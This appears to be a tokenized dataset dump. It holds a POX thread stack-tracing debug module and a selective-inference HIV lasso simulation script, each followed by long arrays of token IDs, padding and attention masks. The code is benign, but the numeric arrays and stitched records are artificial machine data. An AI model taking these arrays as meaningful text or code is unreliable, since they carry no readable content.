# Copyright 2012 James McCauley # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Primitive help for debugging deadlocks. Prints stack info for all threads. (Might be more useful if it only printed stack frames that were not changing, sort of like recoco_spy.) This was initially factored out from a pox.py modification by Colin or Andi. """ import sys import time import inspect import traceback import threading from pox.core import core def _trace_thread_proc (): try: while core.running: frames = sys._current_frames() for key in frames: frame = frames[key] print inspect.getframeinfo(frame) outer_frames = inspect.getouterframes(frame) for i in range(0, len(outer_frames)): print " " + str(inspect.getframeinfo(outer_frames[i][0])) time.sleep(5) except: traceback.print_exc() def launch (): _trace_thread = threading.Thread(target=_trace_thread_proc) _trace_thread.daemon = True # Start it up a bit in the future so that it doesn't print all over # init messages. core.callDelayed(3, _trace_thread.start)
apache-2.0
[ 3, 1898, 6029, 1603, 14015, 22895, 3630, 443, 89, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 26, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 199, 22231, 1720, 367, 10201, 12314, 20218, 14, 199, 26113, 3464, 2256, 367, 1006, 7183, 14, 199, 8, 45, 1070, 506, 1655, 2997, 340, 652, 1454, 12487, 3464, 11223, 626, 199, 1129, 264, 440, 13729, 12, 4069, 402, 2839, 295, 331, 331, 63, 15252, 4959, 199, 199, 2765, 1990, 22801, 10572, 2908, 734, 687, 282, 1115, 88, 14, 647, 7100, 701, 199, 2001, 262, 503, 1626, 328, 14, 199, 624, 199, 199, 646, 984, 199, 646, 900, 199, 646, 6485, 199, 646, 5190, 199, 646, 5796, 199, 504, 1115, 88, 14, 1018, 492, 6170, 199, 199, 318, 485, 3446, 63, 2671, 63, 4687, 23390, 523, 862, 26, 272, 1830, 6170, 14, 5720, 26, 489, 11223, 275, 984, 423, 1818, 63, 8444, 342, 489, 367, 790, 315, 11223, 26, 267, 2787, 275, 11223, 59, 498, 61, 267, 870, 6485, 14, 20912, 815, 8, 1943, 9, 267, 6890, 63, 8444, 275, 6485, 14, 362, 7837, 8444, 8, 1943, 9, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 7837, 63, 8444, 2298, 881, 870, 298, 258, 298, 435, 620, 8, 10955, 14, 20912, 815, 8, 7837, 63, 8444, 59, 73, 1527, 16, 2459, 2541, 900, 14, 4532, 8, 21, 9, 523, 871, 26, 272, 5190, 14, 1361, 63, 2804, 342, 421, 199, 318, 10623, 23390, 819, 485, 3446, 63, 2671, 275, 5796, 14, 4436, 8, 1375, 3699, 3446, 63, 2671, 63, 4687, 9, 523, 485, 3446, 63, 2671, 14, 10824, 275, 715, 819, 327, 7707, 652, 1536, 282, 4546, 315, 314, 6466, 880, 626, 652, 3181, 1133, 870, 1006, 1806, 523, 327, 4205, 3788, 14, 523, 6170, 14, 1250, 10796, 379, 8, 19, 12, 485, 3446, 63, 2671, 14, 928, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6029, 1603, 14015, 22895, 3630, 443, 89, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 26, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 199, 22231, 1720, 367, 10201, 12314, 20218, 14, 199, 26113, 3464, 2256, 367, 1006, 7183, 14, 199, 8, 45, 1070, 506, 1655, 2997, 340, 652, 1454, 12487, 3464, 11223, 626, 199, 1129, 264, 440, 13729, 12, 4069, 402, 2839, 295, 331, 331, 63, 15252, 4959, 199, 199, 2765, 1990, 22801, 10572, 2908, 734, 687, 282, 1115, 88, 14, 647, 7100, 701, 199, 2001, 262, 503, 1626, 328, 14, 199, 624, 199, 199, 646, 984, 199, 646, 900, 199, 646, 6485, 199, 646, 5190, 199, 646, 5796, 199, 504, 1115, 88, 14, 1018, 492, 6170, 199, 199, 318, 485, 3446, 63, 2671, 63, 4687, 23390, 523, 862, 26, 272, 1830, 6170, 14, 5720, 26, 489, 11223, 275, 984, 423, 1818, 63, 8444, 342, 489, 367, 790, 315, 11223, 26, 267, 2787, 275, 11223, 59, 498, 61, 267, 870, 6485, 14, 20912, 815, 8, 1943, 9, 267, 6890, 63, 8444, 275, 6485, 14, 362, 7837, 8444, 8, 1943, 9, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 7837, 63, 8444, 2298, 881, 870, 298, 258, 298, 435, 620, 8, 10955, 14, 20912, 815, 8, 7837, 63, 8444, 59, 73, 1527, 16, 2459, 2541, 900, 14, 4532, 8, 21, 9, 523, 871, 26, 272, 5190, 14, 1361, 63, 2804, 342, 421, 199, 318, 10623, 23390, 819, 485, 3446, 63, 2671, 275, 5796, 14, 4436, 8, 1375, 3699, 3446, 63, 2671, 63, 4687, 9, 523, 485, 3446, 63, 2671, 14, 10824, 275, 715, 819, 327, 7707, 652, 1536, 282, 4546, 315, 314, 6466, 880, 626, 652, 3181, 1133, 870, 1006, 1806, 523, 327, 4205, 3788, 14, 523, 6170, 14, 1250, 10796, 379, 8, 19, 12, 485, 3446, 63, 2671, 14, 928, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
selective-inference/selective-inference
doc/learning_examples/HIV/stability_CV_6000.py
3
3166
import functools import numpy as np from scipy.stats import norm as ndist import regreg.api as rr # load in the X matrix from selection.tests.instance import HIV_NRTI X_full = HIV_NRTI(datafile="NRTI_DATA.txt", standardize=False)[0] from selection.learning.utils import full_model_inference, liu_inference, pivot_plot from selection.learning.core import split_sampler, keras_fit from selection.learning.Rutils import lasso_glmnet, cv_glmnet_lam boot_design = False def simulate(s=10, signal=(0.5, 1), sigma=2, alpha=0.1, B=6000, seed=0): # description of statistical problem n, p = X_full.shape if boot_design: idx = np.random.choice(np.arange(n), n, replace=True) X = X_full[idx] # bootstrap X to make it really an IID sample, i.e. don't condition on X throughout X += 0.1 * np.std(X) * np.random.standard_normal(X.shape) # to make non-degenerate else: X = X_full.copy() X = X - np.mean(X, 0)[None, :] X = X / np.std(X, 0)[None, :] n, p = X.shape truth = np.zeros(p) truth[:s] = np.linspace(signal[0], signal[1], s) np.random.shuffle(truth) truth /= np.sqrt(n) truth *= sigma y = X.dot(truth) + sigma * np.random.standard_normal(n) XTX = X.T.dot(X) XTXi = np.linalg.inv(XTX) resid = y - X.dot(XTXi.dot(X.T.dot(y))) dispersion = np.linalg.norm(resid)**2 / (n-p) S = X.T.dot(y) covS = dispersion * X.T.dot(X) print(dispersion, sigma**2) splitting_sampler = split_sampler(X * y[:, None], covS) def meta_algorithm(X, XTXi, resid, sampler): S = sampler(scale=0.5) # deterministic with scale=0 ynew = X.dot(XTXi).dot(S) + resid # will be ok for n>p and non-degen X G = lasso_glmnet(X, ynew, *[None]*4) select = G.select(seed=seed) return set(list(select[0])) selection_algorithm = functools.partial(meta_algorithm, X, XTXi, resid) # run selection algorithm df = full_model_inference(X, y, truth, selection_algorithm, splitting_sampler, success_params=(6, 10), B=B, fit_probability=keras_fit, fit_args={'epochs':10, 'sizes':[100]*5, 'dropout':0., 'activation':'relu'}) return df if __name__ == "__main__": import statsmodels.api as sm import matplotlib.pyplot as plt import pandas as pd U = np.linspace(0, 1, 101) plt.clf() init_seed = np.fabs(np.random.standard_normal() * 500) for i in range(500): df = simulate(seed=init_seed+i) csvfile = 'HIV_stability_CV_6000.csv' outbase = csvfile[:-4] if df is not None or i > 0: try: df = pd.concat([df, pd.read_csv(csvfile)]) except FileNotFoundError: pass if df is not None: df.to_csv(csvfile, index=False) if len(df['pivot']) > 0: pivot_ax, lengths_ax = pivot_plot(df, outbase)
bsd-3-clause
[ 646, 9143, 199, 199, 646, 2680, 465, 980, 199, 504, 7026, 14, 3200, 492, 6316, 465, 302, 2686, 199, 199, 646, 1295, 1135, 14, 1246, 465, 17615, 199, 199, 3, 2248, 315, 314, 1323, 3634, 199, 199, 504, 7267, 14, 2219, 14, 842, 492, 869, 6882, 63, 46, 11876, 41, 199, 56, 63, 2861, 275, 869, 6882, 63, 46, 11876, 41, 8, 31423, 628, 46, 11876, 41, 63, 3998, 14, 2424, 401, 28974, 806, 29, 797, 2788, 16, 61, 199, 199, 504, 7267, 14, 10546, 14, 1208, 492, 2615, 63, 1238, 63, 20580, 12, 1212, 85, 63, 20580, 12, 22292, 63, 2798, 199, 504, 7267, 14, 10546, 14, 1018, 492, 3715, 63, 22934, 12, 11708, 63, 3269, 199, 504, 7267, 14, 10546, 14, 50, 1208, 492, 634, 15923, 63, 3528, 77, 846, 12, 6277, 63, 3528, 77, 846, 63, 17984, 199, 199, 4930, 63, 14748, 275, 756, 199, 199, 318, 20577, 8, 83, 29, 709, 12, 4673, 2687, 16, 14, 21, 12, 413, 395, 10819, 29, 18, 12, 5131, 29, 16, 14, 17, 12, 699, 29, 32623, 12, 6347, 29, 16, 304, 339, 327, 1369, 402, 8753, 270, 2652, 5160, 339, 302, 12, 299, 275, 1323, 63, 2861, 14, 1392, 339, 340, 8498, 63, 14748, 26, 267, 4280, 275, 980, 14, 2355, 14, 5095, 8, 1590, 14, 5605, 8, 78, 395, 302, 12, 3350, 29, 549, 9, 267, 1323, 275, 1323, 63, 2861, 59, 2996, 61, 327, 15865, 1323, 370, 1852, 652, 7710, 376, 473, 998, 2690, 12, 284, 14, 69, 14, 2793, 1133, 5558, 641, 1323, 23088, 267, 1323, 847, 378, 14, 17, 627, 980, 14, 1516, 8, 56, 9, 627, 980, 14, 2355, 14, 6807, 63, 3302, 8, 56, 14, 1392, 9, 327, 370, 1852, 2222, 13, 271, 4208, 272, 587, 26, 267, 1323, 275, 1323, 63, 2861, 14, 1574, 342, 339, 1323, 275, 1323, 446, 980, 14, 3670, 8, 56, 12, 378, 2788, 403, 12, 12228, 272, 1323, 275, 1323, 1182, 980, 14, 1516, 8, 56, 12, 378, 2788, 403, 12, 12228, 339, 302, 12, 299, 275, 1323, 14, 1392, 272, 16865, 275, 980, 14, 4250, 8, 80, 9, 272, 16865, 1491, 83, 61, 275, 980, 14, 11649, 8, 4653, 59, 16, 467, 4673, 59, 17, 467, 308, 9, 272, 980, 14, 2355, 14, 11777, 8, 17167, 9, 272, 16865, 12257, 980, 14, 5079, 8, 78, 9, 272, 16865, 9000, 10819, 339, 612, 275, 1323, 14, 3287, 8, 17167, 9, 435, 10819, 627, 980, 14, 2355, 14, 6807, 63, 3302, 8, 78, 9, 339, 1323, 10051, 275, 1323, 14, 52, 14, 3287, 8, 56, 9, 272, 1323, 10051, 73, 275, 980, 14, 10096, 14, 5350, 8, 56, 10051, 9, 272, 23185, 275, 612, 446, 1323, 14, 3287, 8, 56, 10051, 73, 14, 3287, 8, 56, 14, 52, 14, 3287, 8, 89, 1724, 272, 2153, 529, 438, 275, 980, 14, 10096, 14, 4791, 8, 19581, 6422, 18, 1182, 334, 78, 13, 80, 9, 2079, 272, 428, 275, 1323, 14, 52, 14, 3287, 8, 89, 9, 272, 13786, 51, 275, 2153, 529, 438, 627, 1323, 14, 52, 14, 3287, 8, 56, 9, 272, 870, 8, 2297, 529, 438, 12, 10819, 538, 18, 9, 272, 26518, 63, 22934, 275, 3715, 63, 22934, 8, 56, 627, 612, 3981, 488, 467, 13786, 51, 9, 339, 347, 3404, 63, 8833, 8, 56, 12, 1323, 10051, 73, 12, 23185, 12, 25906, 304, 398, 428, 275, 25906, 8, 3467, 29, 16, 14, 21, 9, 327, 25286, 543, 4666, 29, 16, 267, 612, 1222, 275, 1323, 14, 3287, 8, 56, 10051, 73, 680, 3287, 8, 51, 9, 435, 23185, 327, 911, 506, 4112, 367, 302, 30, 80, 436, 2222, 13, 271, 2268, 1323, 267, 598, 275, 634, 15923, 63, 3528, 77, 846, 8, 56, 12, 612, 1222, 12, 627, 59, 403, 3672, 20, 9, 267, 3504, 275, 598, 14, 2416, 8, 5176, 29, 5176, 9, 267, 372, 663, 8, 513, 8, 2416, 59, 16, 2459, 339, 7267, 63, 8833, 275, 9143, 14, 6672, 8, 2024, 63, 8833, 12, 1323, 12, 1323, 10051, 73, 12, 23185, 9, 339, 327, 1255, 7267, 5563, 339, 4051, 275, 2615, 63, 1238, 63, 20580, 8, 56, 12, 2892, 612, 12, 2892, 16865, 12, 2892, 7267, 63, 8833, 12, 2892, 26518, 63, 22934, 12, 2892, 3182, 63, 1162, 2687, 22, 12, 1616, 395, 2892, 699, 29, 34, 12, 2892, 5542, 63, 17210, 29, 8811, 63, 3269, 12, 2892, 5542, 63, 589, 3713, 13161, 356, 709, 12, 283, 7723, 15211, 1960, 3672, 21, 12, 283, 17953, 356, 16, 2020, 283, 12312, 5242, 12833, 3071, 339, 372, 4051, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 492, 5020, 992, 14, 1246, 465, 4383, 272, 492, 8027, 14, 13563, 465, 4488, 272, 492, 10634, 465, 6454, 339, 738, 275, 980, 14, 11649, 8, 16, 12, 413, 12, 14313, 9, 272, 4488, 14, 9694, 342, 339, 4205, 63, 5176, 275, 980, 14, 70, 2101, 8, 1590, 14, 2355, 14, 6807, 63, 3302, 342, 627, 6891, 9, 272, 367, 284, 315, 1425, 8, 5783, 304, 267, 4051, 275, 20577, 8, 5176, 29, 826, 63, 5176, 11, 73, 9, 267, 7392, 493, 275, 283, 40, 6882, 63, 270, 3616, 63, 12847, 63, 32623, 14, 4737, 7, 267, 734, 1095, 275, 7392, 493, 4439, 20, 61, 398, 340, 4051, 365, 440, 488, 503, 284, 690, 378, 26, 953, 862, 26, 355, 4051, 275, 6454, 14, 9419, 779, 1587, 12, 6454, 14, 739, 63, 4737, 8, 4737, 493, 3948, 288, 871, 3814, 10870, 26, 355, 986, 953, 340, 4051, 365, 440, 488, 26, 355, 4051, 14, 475, 63, 4737, 8, 4737, 493, 12, 1478, 29, 797, 9, 2234, 340, 822, 8, 1587, 459, 21558, 1105, 690, 378, 26, 490, 22292, 63, 1219, 12, 17464, 63, 1219, 275, 22292, 63, 2798, 8, 1587, 12, 734, 1095, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 9143, 199, 199, 646, 2680, 465, 980, 199, 504, 7026, 14, 3200, 492, 6316, 465, 302, 2686, 199, 199, 646, 1295, 1135, 14, 1246, 465, 17615, 199, 199, 3, 2248, 315, 314, 1323, 3634, 199, 199, 504, 7267, 14, 2219, 14, 842, 492, 869, 6882, 63, 46, 11876, 41, 199, 56, 63, 2861, 275, 869, 6882, 63, 46, 11876, 41, 8, 31423, 628, 46, 11876, 41, 63, 3998, 14, 2424, 401, 28974, 806, 29, 797, 2788, 16, 61, 199, 199, 504, 7267, 14, 10546, 14, 1208, 492, 2615, 63, 1238, 63, 20580, 12, 1212, 85, 63, 20580, 12, 22292, 63, 2798, 199, 504, 7267, 14, 10546, 14, 1018, 492, 3715, 63, 22934, 12, 11708, 63, 3269, 199, 504, 7267, 14, 10546, 14, 50, 1208, 492, 634, 15923, 63, 3528, 77, 846, 12, 6277, 63, 3528, 77, 846, 63, 17984, 199, 199, 4930, 63, 14748, 275, 756, 199, 199, 318, 20577, 8, 83, 29, 709, 12, 4673, 2687, 16, 14, 21, 12, 413, 395, 10819, 29, 18, 12, 5131, 29, 16, 14, 17, 12, 699, 29, 32623, 12, 6347, 29, 16, 304, 339, 327, 1369, 402, 8753, 270, 2652, 5160, 339, 302, 12, 299, 275, 1323, 63, 2861, 14, 1392, 339, 340, 8498, 63, 14748, 26, 267, 4280, 275, 980, 14, 2355, 14, 5095, 8, 1590, 14, 5605, 8, 78, 395, 302, 12, 3350, 29, 549, 9, 267, 1323, 275, 1323, 63, 2861, 59, 2996, 61, 327, 15865, 1323, 370, 1852, 652, 7710, 376, 473, 998, 2690, 12, 284, 14, 69, 14, 2793, 1133, 5558, 641, 1323, 23088, 267, 1323, 847, 378, 14, 17, 627, 980, 14, 1516, 8, 56, 9, 627, 980, 14, 2355, 14, 6807, 63, 3302, 8, 56, 14, 1392, 9, 327, 370, 1852, 2222, 13, 271, 4208, 272, 587, 26, 267, 1323, 275, 1323, 63, 2861, 14, 1574, 342, 339, 1323, 275, 1323, 446, 980, 14, 3670, 8, 56, 